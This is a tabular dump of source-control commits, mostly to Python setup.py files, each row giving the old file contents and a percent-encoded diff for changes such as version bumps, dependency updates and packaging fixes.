commit stringlengths 40 40 | subject stringlengths 1 3.25k | old_file stringlengths 4 311 | new_file stringlengths 4 311 | old_contents stringlengths 0 26.3k | lang stringclasses 3
values | proba float64 0 1 | diff stringlengths 0 7.82k |
|---|---|---|---|---|---|---|---|
27c7a95e747d4b334c57bf894c5dda926ef7c28b | Bump version | setup.py | setup.py | from setuptools import setup
setup(name='neovim',
version='0.0.12',
description='Python client to neovim',
url='http://github.com/neovim/python-client',
download_url='https://github.com/neovim/python-client/archive/0.0.12.tar.gz',
author='Thiago de Arruda',
author_email='tpadilha84@... | Python | 0 | @@ -64,17 +64,17 @@
n='0.0.1
-2
+3
',%0A
@@ -242,9 +242,9 @@
.0.1
-2
+3
.tar
|
ee20485bf055ef498e0eb20f0361013dcec094d0 | upgrade libcloud to 0.19.0 | setup.py | setup.py | """
Flask-Cloudy
A wrapper around Apache-Libcloud to upload and save files on cloud storage
providers such as: AWS S3, Google Storage, Microsoft Azure, Rackspace Cloudfiles,
and even on local storage through a Flask application.
(It can be used as standalone)
Supported storage:
- AWS S3
- Google Storage
- Microsoft ... | Python | 0 | @@ -1136,9 +1136,9 @@
=0.1
-8
+9
.0%22,
|
783826de7818aefcf85e21d66a9408e8b52cd885 | Bump version | setup.py | setup.py | ########
# Copyright (c) 2013 GigaSpaces Technologies Ltd. All rights reserved
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless... | Python | 0 | @@ -1058,17 +1058,17 @@
on='3.4a
-3
+4
',%0A a
|
12a06380276031df1942b8f5ea4022cb0f61f86b | Bump version in setup to 0.1.1 | setup.py | setup.py | # Always prefer setuptools over distutils
from setuptools import setup, find_packages
# To use a consistent encoding
from codecs import open
from os import path
here = path.abspath(path.dirname(__file__))
# Get the long description from the README file
with open(path.join(here, 'README.rst'), encoding='utf-8') as f:
... | Python | 0 | @@ -597,17 +597,17 @@
on='0.1.
-0
+1
',%0A%0A
|
35aec757da014c7fa6267ecd16a1111d931e80e9 | Fix setup.py. | setup.py | setup.py | from setuptools import setup
import versioneer
versioneer.versionfile_source = 'nomenclature/_version.py'
versioneer.versionfile_build = 'nomenclature/_version.py'
versioneer.tag_prefix = 'v'
versioneer.parentdir_prefix = 'nomenclature-'
def read(path):
"""
Read the contents of a file.
"""
with open(... | Python | 0 | @@ -350,16 +350,25 @@
read()%0A%0A
+try:%0A
from nom
@@ -388,16 +388,194 @@
ort _lib
+%0Aexcept ImportError:%0A # installing - there is no cffi yet%0A ext_modules = %5B%5D%0Aelse:%0A # building bdist - cffi is here!%0A ext_modules = %5B_lib.ffi.verifier.get_extension()%5D
%0A%0Asetup(
@@ -1700,43 +1... |
97f8d658aa68f4bbdbda983a59529b0407420531 | Update logan and django-social-auth | setup.py | setup.py | #!/usr/bin/env python
"""
Sentry
======
Sentry is a realtime event logging and aggregation platform. It specializes
in monitoring errors and extracting all the information needed to do a proper
post-mortem without any of the hassle of the standard user feedback loop.
Sentry is a Server
------------------
The Sentry ... | Python | 0.000001 | @@ -1911,17 +1911,17 @@
an%3E=0.5.
-5
+6
,%3C0.6.0'
@@ -2220,17 +2220,18 @@
th%3E=0.7.
-1
+23
,%3C0.8.0'
|
d36717c31c23afc0d1dc97d58249801157228dc1 | Bump version | setup.py | setup.py | import codecs
import os
from setuptools import setup, find_packages
HERE = os.path.abspath(os.path.dirname(__file__))
def read(*parts):
# intentionally *not* adding an encoding option to open, See:
# https://github.com/pypa/virtualenv/issues/201#issuecomment-3145690
return codecs.open(os.path.join(HER... | Python | 0 | @@ -479,17 +479,17 @@
on='0.0.
-1
+2
',%0A l
|
859365f08de1ec514cbe0c82991557dd07acaf42 | fix typos in setup.py | setup.py | setup.py | import codecs
import os
import sys
from distutils.util import convert_path
from fnmatch import fnmatchcase
from setuptools import setup, find_packages
def read(fname):
return codecs.open(os.path.join(os.path.dirname(__file__), fname)).read()
# Provided as an attribute, so you can append to these instead
# of r... | Python | 0.000015 | @@ -3866,16 +3866,34 @@
KAGE = %22
+eventlog%22%0ANAME = %22
django-e
@@ -3906,26 +3906,8 @@
g-ca
-%22%0ANAME = %22eventlog
%22%0ADE
@@ -4876,13 +4876,11 @@
ns%3E=
-1.
0.
-0
+9
%22%0A
|
a06e8612f94f69a324ae5968fbe4d5516f01310a | fix urls; add -colors | setup.py | setup.py | #!/usr/bin/env python
from setuptools import setup
setup(
name='cooperhewitt.roboteyes',
version='0.1',
description='Meta package to install all the Cooper Hewitt computer vision libraries',
author='Cooper Hewitt Smithsonian Design Museum',
url='https://github.com/cooperhewitt/py-cooperhewitt-robo... | Python | 0.000005 | @@ -104,16 +104,17 @@
ion='0.1
+1
',%0A d
@@ -386,16 +386,17 @@
tkinson'
+,
%0A
@@ -420,23 +420,22 @@
boteyes.
-shannon
+colors
',%0A
@@ -468,16 +468,59 @@
.opencv'
+,%0A 'cooperhewitt.roboteyes.shannon',
%0A %5D,%0A
@@ -622,35 +622,30 @@
tkinson/
+t
ar
-chive/v0.1.tar.gz
+ball/master... |
5240d4f00e1615b479c8b04e960d2e570b0f6763 | Bump pypi version. | setup.py | setup.py | # -*- coding: utf-8 -*-
import os
import sys
from setuptools import setup
project_dir = os.path.abspath(os.path.dirname(__file__))
with open(os.path.join(project_dir, 'README.rst'), 'r') as f:
long_description = f.read()
if sys.argv[-1] == 'publish':
os.system('python setup.py sdist upload')
sys.exit()
... | Python | 0 | @@ -365,17 +365,17 @@
on='0.2.
-4
+5
',%0A p
|
9f624a7a35836450f91ebe3f1e8cc01eddf475ef | use find_packages() instead of hardcoding | setup.py | setup.py | """The netify deployment script."""
# Copyright 2015 Curtis Sand
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appl... | Python | 0.000002 | @@ -688,16 +688,53 @@
t setup%0A
+from setuptools import find_packages%0A
import o
@@ -3227,18 +3227,28 @@
ges=
-%5B'netify'%5D
+find_packages('src')
,%0A
|
e18a577a96ce6e1ba02d1a403acfd490d55d4210 | Bump version | setup.py | setup.py | from setuptools import setup
description = 'Python version of the mutt-notmuch script'
long_desc = open('README.md').read()
setup(
name='mutt-notmuch',
version='1.1.0',
url='https://github.com/honza/mutt-notmuch-py',
install_requires=[],
description=description,
long_description=long_desc,
... | Python | 0 | @@ -166,17 +166,17 @@
sion='1.
-1
+2
.0',%0A
|
3b19a5689db0637c7342722d3dbd631fc77c98ed | update aws4auth dependency | setup.py | setup.py | import os
import sys
import glob
from subprocess import check_output
from subprocess import CalledProcessError
from setuptools import setup, find_packages
setup_path = os.path.dirname(__file__)
def read(fname):
return open(os.path.join(setup_path, fname), encoding="utf8").read()
REPO_URL = "https://github.com... | Python | 0 | @@ -1257,24 +1257,49 @@
s%3E=2.21.0',%0A
+ 'requests-aws4auth',%0A
'tornado
|
176878a1e2b950c22f74d718e9c229af89bafddf | Add license information to setup.py | setup.py | setup.py | try:
from setuptools import setup, find_packages
except ImportError:
from ez_setup import use_setuptools
use_setuptools()
from setuptools import setup, find_packages
from adhocracy import __version__
setup(
name='adhocracy',
version=__version__,
description='Policy drafting and decision-ma... | Python | 0 | @@ -435,16 +435,68 @@
y.cc/',%0A
+ license='GNU Affero General Public License v3',%0A
clas
|
86103cbdc457c699f3a76eba914a8708c65bbbbc | Set classifier for Python 3.2 | setup.py | setup.py | from setuptools import setup
with open('README.md') as file:
# Try my best to have at least the intro in Markdown/reST.
long_description = file.read().partition('<!-- END long_description -->')[0]
setup(name='caniusepython3',
version='1.0',
description='Determine what projects are blocking you fro... | Python | 0.999991 | @@ -906,24 +906,75 @@
thon :: 3',%0A
+ 'Programming Language :: Python :: 3.2',%0A
'P
|
793151162770d8a4538627af6638253af7d95e98 | Bump version to 3.0.7 | setup.py | setup.py | #!/usr/bin/env python
import os
import sys
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
# Our version ALWAYS matches the version of Django we support
# If Django has a new release, we branch, tag, then update this setting after the tag.
version = "3.0.5-01"
if sys.a... | Python | 0 | @@ -302,12 +302,9 @@
3.0.
-5-01
+7
%22%0A%0Ai
|
91a56f66337efa7770bc94e81c2f7c5f64041bb6 | Add postgresql_audit to pymodules | setup.py | setup.py | """
PostgreSQL-Audit
----------------
Versioning and auditing extension for PostgreSQL and SQLAlchemy.
"""
import os
import re
from setuptools import setup
HERE = os.path.dirname(os.path.abspath(__file__))
def get_version():
filename = os.path.join(HERE, 'postgresql_audit.py')
with open(filename) as f:
... | Python | 0 | @@ -1060,16 +1060,53 @@
%0A ),%0A
+ py_modules=%5B'postgresql_audit'%5D,%0A
long
|
29ec29c8e6bc0ab1e5b299042e307d4bce42a346 | Update pytest-cov requirement from <2.6,>=2.5 to >=2.5,<2.9 | setup.py | setup.py | #!/usr/bin/env python
from setuptools import find_packages, setup
install_requires = [
'django>=1.11,<2.3',
'django-oscar>=2.0',
'python-dateutil>=2.6,<3.0',
]
tests_require = [
'django-webtest==1.9.7',
'pytest-cov>=2.5,<2.6',
'pytest-django>=3.5,<3.6',
]
setup(
name='django-oscar-accoun... | Python | 0.000011 | @@ -238,17 +238,17 @@
=2.5,%3C2.
-6
+9
',%0A '
|
e79acc387527b8a0f65049ae05e8c4ebcc2fcee9 | bump version to mark release with fixed requirement in setup.py | setup.py | setup.py | from setuptools import setup
import os.path
with open("README.rst") as f:
long_description = f.read()
setup(
name="pytest-ipynb",
version="1.0.1",
packages = ['pytest_ipynb'],
# the following makes a plugin available to pytest
entry_points = {
'pytest11': [
'ipynb = pytest... | Python | 0 | @@ -150,17 +150,17 @@
on=%221.0.
-1
+2
%22,%0A%0A
|
562b22868d0d5adb231fa0d03e71a84ca2ee2d3e | update trove classifiers | setup.py | setup.py | #####################################################################################
#
# Copyright (C) Tavendo GmbH
#
# Unless a separate license agreement exists between you and Tavendo GmbH (e.g. you
# have purchased a commercial license), the license terms below apply.
#
# Should you enter into a separate licen... | Python | 0.000001 | @@ -6270,17 +6270,17 @@
on :: 2.
-6
+7
%22,%0A
@@ -6318,35 +6318,93 @@
ge :: Python ::
-2.7
+3.3%22,%0A %22Programming Language :: Python :: 3.4
%22,%0A
|
a4c4030ef011ee0b0682d42e1533a17feab8b97c | Increment version number [skip ci] | setup.py | setup.py | # -*- coding: utf-8 -*-
import setuptools
with open("README.md") as f:
readme = f.read()
with open("LICENSE.txt") as f:
license = f.read()
setuptools.setup(
name = "phaseflow",
version = "0.6.0-alpha",
description = "Simulate convection-coupled melting and solidification of phas... | Python | 0 | @@ -221,17 +221,17 @@
= %220.6.
-0
+1
-alpha%22,
|
dd77a811d8197ac19ec926f7c08d8ee71593a35b | Bump version | setup.py | setup.py | import os
from setuptools import setup, find_packages
def read(fname):
with open(os.path.join(os.path.dirname(__file__), fname)) as f:
return f.read()
setup(
name='pynubank',
version='2.10.0',
url='https://github.com/andreroggeri/pynubank',
author='André Roggeri Campos',
author_email=... | Python | 0.000078 | @@ -203,17 +203,17 @@
ion='2.1
-0
+1
.0',%0A
|
d1d08da90872472a966c6a41531d5539c5f81bfd | bump cdiserrors | setup.py | setup.py | from subprocess import check_output
from setuptools import setup, find_packages
def get_version():
# https://github.com/uc-cdis/dictionaryutils/pull/37#discussion_r257898408
try:
tag = check_output(
["git", "describe", "--tags", "--abbrev=0", "--match=[0-9]*"]
)
return tag... | Python | 0.000001 | @@ -906,11 +906,13 @@
rs~=
+1.
0.
-1
+0
%22,%0A
|
a2db35e5c67a271482f2b166a84142be94a16194 | Bump to version 0.2.0 | setup.py | setup.py | from setuptools import setup, find_packages
setup(
name = "biofloat",
version = "0.1.19",
packages = find_packages(),
requires = ['Python (>=2.7)'],
install_requires = [
'beautifulsoup4>=4.4',
'coverage>=4',
'jupyter>=1.0.0',
'matplotlib',
'numpy>=1.10',
... | Python | 0 | @@ -89,12 +89,11 @@
%220.
-1.19
+2.0
%22,%0A
|
338af378c6512339bdd6e0eaab002eaf886f5ed8 | Make this work on python3 | setup.py | setup.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright (C) 2014 Yahoo! Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of ... | Python | 0.003017 | @@ -883,17 +883,16 @@
st%22), %22r
-b
%22) as ha
|
ed284364a05c6d58b9a79f5521d70a4fb0c3d9d5 | Set Pika to less than 2 | setup.py | setup.py | #!/usr/bin/env python
from codecs import open
import os
from setuptools import setup, find_packages
here = os.path.abspath(os.path.dirname(__file__))
with open(os.path.join(here, 'README.rst'), 'r', 'utf-8') as handle:
readme = handle.read()
setup(
name='amqpeek',
description='RMQ CLI Monitor',
pack... | Python | 0.000001 | @@ -850,17 +850,16 @@
'pika%3C
-=
2.0.0',%0A
|
63ab4f517698875cb8e86c32842130f3b9556380 | introduce the run_separately flag | setup.py | setup.py | #!/usr/bin/env python
from setuptools import setup
setup(
name='parallel-ci-runner',
version='0.1.6',
description='A framework for defining and running parallel CI tests, '
'with support for docker-compose.',
author='Danny Cosson',
author_email='dcosson@gmail.com',
url='https:/... | Python | 0 | @@ -105,9 +105,9 @@
0.1.
-6
+7
',%0A
|
e68c6faea24816909523d9432d42367e5f4a2852 | update copyright information in setup.py | setup.py | setup.py | # Copyright (C) 2014 Matthieu Caneill <matthieu.caneill@gmail.com>
#
# This file is part of Debsources.
#
# Debsources is free software: you can redistribute it and/or modify it under
# the terms of the GNU Affero General Public License as published by the Free
# Software Foundation, either version 3 of the License, or... | Python | 0 | @@ -1492,44 +1492,33 @@
or=%22
-Stefano Zacchiroli, Matthieu Caneill
+The Debsources developers
%22,%0A
@@ -1538,28 +1538,42 @@
il=%22
-info@
+qa-deb
sources
+@lists.alioth
.debian.
net%22
@@ -1572,11 +1572,11 @@
ian.
-net
+org
%22,%0A
|
2769a4f3eeb8ddab5646f8c985e924de75b63c2d | version bump to 1.0.4 | setup.py | setup.py | #!/usr/bin/env python
VERSION = '1.0.3'
DESCRIPTION = 'Tx DBus'
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
setup(
name = 'txdbus',
version = VERSION,
description = DESCRIPTION,
license = "MIT",
long_descri... | Python | 0 | @@ -39,9 +39,9 @@
1.0.
-3
+4
'%0ADE
|
17959f08d1139f0a7657ca4e951fe71611494d81 | Add imageio dependency | setup.py | setup.py | import distutils.cmd
import distutils.log
import subprocess
import os
from setuptools import setup
class CudaCommand(distutils.cmd.Command):
description = 'Compile CUDA sources'
user_options = [
('gcc=', None, 'Path to the gcc compiler.'),
('nvcc=', None, 'Path to the Nvidia nvcc compiler.'),
... | Python | 0 | @@ -4606,16 +4606,43 @@
'plotly'
+,%0A 'imageio'
%5D,%0A %7D
|
06c42fd7d9a75729eab283258c0c80f185c33efc | bump version | setup.py | setup.py | from distutils.core import setup
setup(
name = 'podium_api',
packages = ['podium_api','podium_api.types'],
version = '0.0.6',
description = 'API for Podium Motorsports Platform http://podium.live',
author = 'Autosport Labs',
author_email = 'sales@autosportlabs.com',
url = 'https://github.com/autosportlab... | Python | 0 | @@ -122,17 +122,17 @@
= '0.0.
-6
+7
',%0A des
@@ -407,9 +407,9 @@
0.0.
-6
+7
.tar
|
b984060f9e3455df56953580dd3ee4e0717f916b | Add "Python 2" classifier since it works (according to Travis CI). | setup.py | setup.py | #!/usr/bin/env python
from setuptools import setup
setup(
name='rinse',
version='0.1.2',
description='Python3 SOAP client built with lxml and requests.',
long_description=open('README.rst').read(),
author='Tyson Clugg',
author_email='tyson@clugg.net',
url='http://github.com/tysonclugg/rinse... | Python | 0.000005 | @@ -491,24 +491,71 @@
assifiers=%5B%0A
+ %22Programming Language :: Python :: 2%22,%0A
%22Pro
|
5877d93a7b2b0e6cd532ec8131fa3f6ea7b0aa60 | Check to see if the first command is a build or install command to determine whether there should be any `setup_requires`. | setup.py | setup.py | import os
import sys
from glob import glob
from distutils.sysconfig import get_config_var, get_python_inc
from distutils.version import LooseVersion
import setuptools
from setuptools import setup, Extension
from setuptools.command.build_ext import build_ext as _build_ext
import versioneer
assert LooseVersion(setupt... | Python | 0 | @@ -1164,22 +1164,35 @@
uires =
-%5B%5D
+setup_requires
if
+(
sys.argv
@@ -1198,45 +1198,181 @@
v%5B1%5D
- == %22bdist_conda%22 else setup_requires
+.startswith(%22bdist%22) or%0A sys.argv%5B1%5D.startswith(%22build%22) or%0A sys.argv%5B1%5D.s... |
c77c227cf45c39b13721f02cb792817311d59ce7 | Version update | setup.py | setup.py | from setuptools import setup, find_packages
config = {
'name':'pylogenetics',
'description': 'Phylogenetic analysis tools',
'author': 'Dominic White',
'url': 'https://github.com/dominicwhite/pylogenetics',
'download_url': 'https://pypi.python.org/pypi/pylogenetics/',
'author_email': 'dewhite4@... | Python | 0 | @@ -345,17 +345,17 @@
': '0.3.
-3
+5
',%0A '
|
c304c05aa7090a08d871c7a6023c2a62de2825d8 | bump version | setup.py | setup.py | from setuptools import setup
setup(
name='instabot',
packages=['instabot', 'instabot.bot', 'instabot.api'],
version='0.4.5',
description='Cool Instagram bot scripts and API python wrapper.',
author='Daniil Okhlopkov, Evgeny Kemerov',
author_email='ohld@icloud.com, eskemerov@gmail.com',
url... | Python | 0 | @@ -126,19 +126,19 @@
sion='0.
-4.5
+5.0
',%0A d
@@ -431,11 +431,11 @@
l/0.
-4.5
+5.0
',%0A
|
8988373522907d72c0ee5896c2ffbb573a8500d9 | Bump version. | setup.py | setup.py | # coding=utf-8
from setuptools import setup
import os
def read(fname):
return open(os.path.join(os.path.dirname(__file__), fname)).read()
setup(
name="python-periods",
version="0.1.5",
description="Some convenient classes and methods for working with time periods",
author="Johanna Eriksson",
... | Python | 0 | @@ -192,11 +192,11 @@
=%220.
-1.5
+2.0
%22,%0A
|
529d11ef6a80c3f1bd2e0870f6d4f4637164b0d3 | version bump | setup.py | setup.py | __author__ = 'Jean-Bernard Ratte - jean.bernard.ratte@unary.ca'
__version__ = '0.1.2'
import os
import sys
from setuptools import setup, find_packages
if sys.version_info[:2] < (2, 7):
raise RuntimeError('pyjarowinkler requires Python 2.7 minimum (untested on python 3)')
def read(fname):
return open(os.pat... | Python | 0.000001 | @@ -76,17 +76,17 @@
= '0.1.
-2
+3
'%0A%0Aimpor
|
1448d8fd33f1f9c36ba0db56c3ae3c2913166634 | add python 3.4 to setup.py classifiers | setup.py | setup.py | # -*- coding: utf-8 -*-
#!/usr/bin/env python
import os
import sys
import djangocms_blog
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
version = djangocms_blog.__version__
if sys.argv[-1] == 'publish':
os.system('python setup.py sdist upload')
print("You pro... | Python | 0.000055 | @@ -1938,21 +1938,70 @@
on :: 3.3',%0A
+ 'Programming Language :: Python :: 3.4',%0A
%5D,%0A)%0A
|
57f74b5c0c9c25a47e4a3f6309d3e2ab11415b9f | Add pypi keywords | setup.py | setup.py | import os
import shutil
from setuptools import setup, find_packages, Command
import csrbuilder
class CleanCommand(Command):
user_options = []
def initialize_options(self):
pass
def finalize_options(self):
pass
def run(self):
folder = os.path.dirname(os.path.abspath(__file_... | Python | 0.000001 | @@ -1502,16 +1502,37 @@
ypto pki
+ x509 certificate csr
',%0A%0A
|
a178a8b533f3f0e4da96cfa7de0ce0ea374bc6ce | Fix django classifier version number | setup.py | setup.py | import re
from setuptools import find_packages, setup
install_requires = [
'wagtail>=2.0',
'user-agents>=1.1.0',
'wagtailfontawesome>=1.1.3',
'pycountry',
]
tests_require = [
'factory_boy==2.8.1',
'flake8-blind-except',
'flake8-debugger',
'flake8-imports',
'flake8',
'freezegun=... | Python | 0.001483 | @@ -1704,16 +1704,18 @@
ngo :: 2
+.0
',%0A
|
ee8355e8c3d06c6add56ce6962d5ccb9432c98c5 | Add missing package name and bump version | setup.py | setup.py | from setuptools import setup
def readme():
with open('README.rst') as f:
return f.read()
setup(name='housecanary',
version='0.5',
description='Client Wrapper for the HouseCanary API',
long_description=readme(),
url='http://github.com/housecanary/hc-api-python',
author='HouseC... | Python | 0 | @@ -140,16 +140,18 @@
ion='0.5
+.1
',%0A
@@ -419,16 +419,37 @@
ecanary'
+, 'housecanary.excel'
%5D,%0A
|
9d3071ec8c1b9dd5e30fbcb090284130f1be4769 | simplify setup.py | setup.py | setup.py | import os
import re
import codecs
from setuptools import setup, find_packages
def read(*parts):
return codecs.open(os.path.join(os.path.dirname(__file__), *parts)).read()
def find_version(*file_paths):
version_file = read(*file_paths)
version_match = re.search(r"^__version__ = ['\"]([^'\"]*)['\"]",
... | Python | 0.000042 | @@ -1,38 +1,4 @@
-import os%0Aimport re%0Aimport codecs%0A
from
@@ -42,412 +42,8 @@
es%0A%0A
-def read(*parts):%0A return codecs.open(os.path.join(os.path.dirname(__file__), *parts)).read()%0A%0A%0Adef find_version(*file_paths):%0A version_file = read(*file_paths)%0A version_match = re.search(r%22%5E__versio... |
830e7e2d52f269ea16acfcd2750dd77c8bf9b7f5 | Add missing commas, remove `-Werror` | setup.py | setup.py | #!/usr/bin/env python
from setuptools import setup, find_packages
from setuptools.extension import Extension
from Cython.Build import cythonize
import os
import sys
debug_str = os.getenv('DEBUG')
if debug_str is None:
debug = False
else:
debug = debug_str.lower() not in ("false", "no", "n")
compile_args = ["-... | Python | 0.000001 | @@ -322,19 +322,8 @@
all%22
-, %22-Werror%22
%5D%0Aif
@@ -2524,16 +2524,17 @@
h myers%22
+,
%0A lic
@@ -2716,16 +2716,17 @@
',%0A %5D
+,
%0A set
|
aa997a27dd29a5349cf73adce84b5eef8d4abcc7 | modify setup file | setup.py | setup.py | import sys
import src
from distutils.core import setup
modality_data = ['data/gammaval.pkl']
if 'install' in sys.argv:
try:
from src import write_qDiptab
write_qDiptab.main()
modality_data += ['data/qDiptab.csv']
except Exception as e:
print """
Tabulated p-values ... | Python | 0.000001 | @@ -8,18 +8,40 @@
sys%0A
-import src
+from modality import __version__
%0Afro
@@ -136,17 +136,16 @@
s.argv:%0A
-%0A
try:
@@ -302,25 +302,10 @@
rint
- %22%22%22%0A
+(%22
Tabu
@@ -360,16 +360,17 @@
due to
+%22
%0A
@@ -374,16 +374,19 @@
+ %22
error:%5Cn
@@ -393,28 +393,16 @@
%... |
274b68528a0805f800b491e470ae267e295705c0 | remove numpy version cap | setup.py | setup.py | import sys
import os
# We can't import version.py because only one "version" module can ever be
# loaded in a Python process, and multiple setup.py scripts may have to run in
# the same process.
execfile(os.path.join(os.path.dirname(os.path.realpath(__file__)), "version.py"))
from setuptools import find_packages, set... | Python | 0.000001 | @@ -909,17 +909,8 @@
.9.1
-,%3C=1.14.2
', '
|
1817c8ee4434ce2d6680c1e062a04e23c5f9ac9c | update deps in setup.py | setup.py | setup.py | import os
from setuptools import setup, find_packages
def getDataFiles(submodule, folder):
datadir = os.path.join('pygridtools', submodule, folder)
files = [d for d in map(
lambda x: os.path.join(datadir, x),
os.listdir(datadir)
)]
return files
DESCRIPTION = "utilities to facilitate g... | Python | 0 | @@ -1185,15 +1185,46 @@
= %5B'
-seaborn
+numpy', 'matplotlib', 'fiona', 'pandas
'%5D%0AP
|
c219105639921f6d78e56ca0b68dd01a8bd082d4 | replace double quotes with quotes | setup.py | setup.py | """
Language agnostic database migration tool
migrate
=======
A simple language agnostic database migration tool
install
-------
::
$ pip install migrate
usage
-----
::
usage: migrate [options] <command>
See Readme_
.. _Readme: https://github.com/kofrasa/migrate/blob/master/README.md
"""
import migrate... | Python | 0.998697 | @@ -1,11 +1,11 @@
-%22%22%22
+'''
%0ALanguag
@@ -298,11 +298,11 @@
.md%0A
-%22%22%22
+'''
%0A%0Aim
@@ -552,17 +552,17 @@
ription=
-%22
+'
A simple
@@ -607,9 +607,9 @@
tool
-%22
+'
,%0A
@@ -1245,8 +1245,9 @@
%0A %7D%0A)
+%0A
|
f6a5d20df0c6903da3c98b2bcf9d33c0c2fba036 | Enable building as bytes or unicode | setup.py | setup.py | # -*- coding: utf-8 -*-
"""
Aho-Corasick string search algorithm.
Author : Wojciech Muła, wojciech_mula@poczta.onet.pl
WWW : http://0x80.pl
License : BSD-3-Clause (see LICENSE)
"""
from setuptools import setup
from setuptools import Extension
def get_long_description():
import io
... | Python | 0.000001 | @@ -204,16 +204,27 @@
E)%0A%22%22%22%0A%0A
+import os%0A%0A
from set
@@ -278,16 +278,753 @@
ension%0A%0A
+# check for the mere of environment variables%0Atry:%0A build_as_unicode = os.environ%5B'AHOCORASICK_UNICODE'%5D%0A build_as_unicode = True%0Aexcept KeyError:%0A build_as_unicode = False%0A%0Atry:%0A ... |
dbeb6c5a9a211961e2eab71a857b1d6765bea7d9 | remove linger reference the Sheath project | setup.py | setup.py | from distutils.core import setup
setup(
name='Sheath',
version='0.0.1',
packages=['bootstrap',],
license='GPLv2',
long_description=open('README.txt').read(),
test_suite = "bootstrap.test.test_all"
)
| Python | 0 | @@ -48,14 +48,17 @@
me='
-Sheath
+bootstrap
',%0A
|
98c80428b35e2a79b4481c5eb9180613266e9698 | Update `djangorestframework` from 2.4.3 to 2.4.4 | setup.py | setup.py | from setuptools import find_packages, setup
version = '6.0.0'
install_requires = (
'djangorestframework>=2.4.3,<3',
'incuna_mail>=2.0.0,<3',
)
extras_require = {
'avatar': [
'django-imagekit>=3.2',
],
'utils': [
'raven>=5.1.1',
],
}
setup(
name='django-user-management',... | Python | 0 | @@ -110,17 +110,17 @@
rk%3E=2.4.
-3
+4
,%3C3',%0A
|
b7c7b32ebe28f683e61b246b14353b4f4b5e4233 | Remove support for specifying page_set attribute with file_path in benchmarks. | telemetry/telemetry/test.py | telemetry/telemetry/test.py | # Copyright 2013 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import logging
import optparse
import os
import shutil
import sys
import zipfile
from telemetry import decorators
from telemetry.core import browser_finder
... | Python | 0.025071 | @@ -1038,210 +1038,8 @@
'):%0A
- if isinstance(cls.page_set, basestring):%0A # TODO(dtu): Remove this code path after crbug.com/362293.%0A name += '.' + os.path.basename(os.path.splitext(cls.page_set)%5B0%5D)%0A else:%0A
@@ -6438,348 +6438,8 @@
%22%22%22%0A
- if not hasattr(cls, 'pa... |
16452ef534cb5fb965baff30c0ce726fb7180549 | Update jogovelha.py | Src/jogovelha.py | Src/jogovelha.py | def, inicializar(),
tab = [ ]
for,i in range(3),
linha = [ ],
for j in range(3):
linha,append("X")
tab.append(linha,)
return tab
def main( ):
jogo = inicializar ( )
print (jogo)
if_name_=="_main_":
main( )
| Python | 0 | @@ -11,17 +11,16 @@
alizar()
-,
%0A tab
@@ -37,12 +37,13 @@
for
-,
+
i i
+,
n ra
@@ -48,17 +48,16 @@
range(3)
-,
%0A
@@ -68,17 +68,16 @@
ha = %5B %5D
-,
%0A
@@ -154,10 +154,10 @@
inha
-,
)
+,
%0A
|
a2ce41adb0f614b9a04a1cdccc3b0b913fd13dea | include only highlevel requirements in package | setup.py | setup.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
from setuptools import setup, find_packages
from leprikon import __version__
with open(os.path.join(os.path.dirname(__file__), 'README.rst')) as readme:
long_description = readme.read()
with open(os.path.join(os.path.dirname(__file__), 'requirements.txt')... | Python | 0 | @@ -312,11 +312,10 @@
nts.
-txt
+in
'))
|
350f3bb3431d451f6bf6f2fac2e696b9122d65a6 | Add missing 'boltons' package & clean up | setup.py | setup.py | #!/usr/bin/env python
import os
import sys
from setuptools import setup
readme = open('README.rst').read()
doclink = """
Documentation
-------------
The full documentation is at http://gryaml.rtfd.org."""
history = open('HISTORY.rst').read().replace('.. :changelog:', '')
setup(
name='gryaml',
use_scm_versi... | Python | 0.000001 | @@ -19,29 +19,31 @@
hon%0A
-%0Aimport os%0Aimport sys
+%22%22%22Setuptools setup.%22%22%22
%0A%0Afr
@@ -691,24 +691,43 @@
_requires=%5B%0A
+ 'boltons',%0A
'py2
|
f20ad981e8065f99e385c3196b48a7d1cf0179c3 | Add new files to setup.py. | setup.py | setup.py | #!/usr/bin/env python3
from distutils.core import setup
setup(
name='dg',
version='HEAD',
description='A programming language for the CPython VM',
author='pyos',
author_email='pyos100500@gmail.com',
url='https://github.com/pyos/dg.git',
packages=['dg'],
package_dir={'dg': '.'},
pack... | Python | 0 | @@ -346,16 +346,35 @@
'addon/*
+.dg', 'addon/*/*.dg
', 'core
@@ -375,16 +375,19 @@
'core/*
+.dg
', 'bund
@@ -390,14 +390,23 @@
bundle/*
+.dgbundle
'%5D%7D%0A)%0A
|
b9a1681f018a73b53e99bd58e707f279a3c668d0 | allow disabling of install_requires by environment variables | setup.py | setup.py | from setuptools import setup, find_packages
setup(name='motmot.wxglvideo',
description='wx/OpenGL viewer of image sequences',
long_description = \
"""Allows for rapid display and resizing/rotation of images by
offloading the image operations to OpenGL.
This is a subpackage of the motmot family of digital ... | Python | 0.000001 | @@ -36,16 +36,356 @@
packages
+%0Aimport os%0A%0Akws = %7B%7D%0Aif not int(os.getenv( 'DISABLE_INSTALL_REQUIRES','0' )):%0A kws%5B'install_requires'%5D = %5B'numpy%3E=1.0.4',%0A 'motmot.imops%3E=0.5.2.dev',%0A 'pyglet%3E=1.0',%0A 'wxPython%3... |
16251e5191ce396342a9d0f1870426dff63dd06c | update setup.py for v0.8.4 tag. | setup.py | setup.py | from distutils.core import setup
setup(
name = 'shipwire',
packages = ['shipwire'], # this must be the same as the name above
version = '0.8.3',
description = 'A Python abstraction layer around the Shipwire API.',
author = 'Neil Durbin',
author_email = 'neildurbin@gmail.com',
url = 'https://github.com/soy... | Python | 0 | @@ -238,16 +238,29 @@
l Durbin
+, John Coogan
',%0A aut
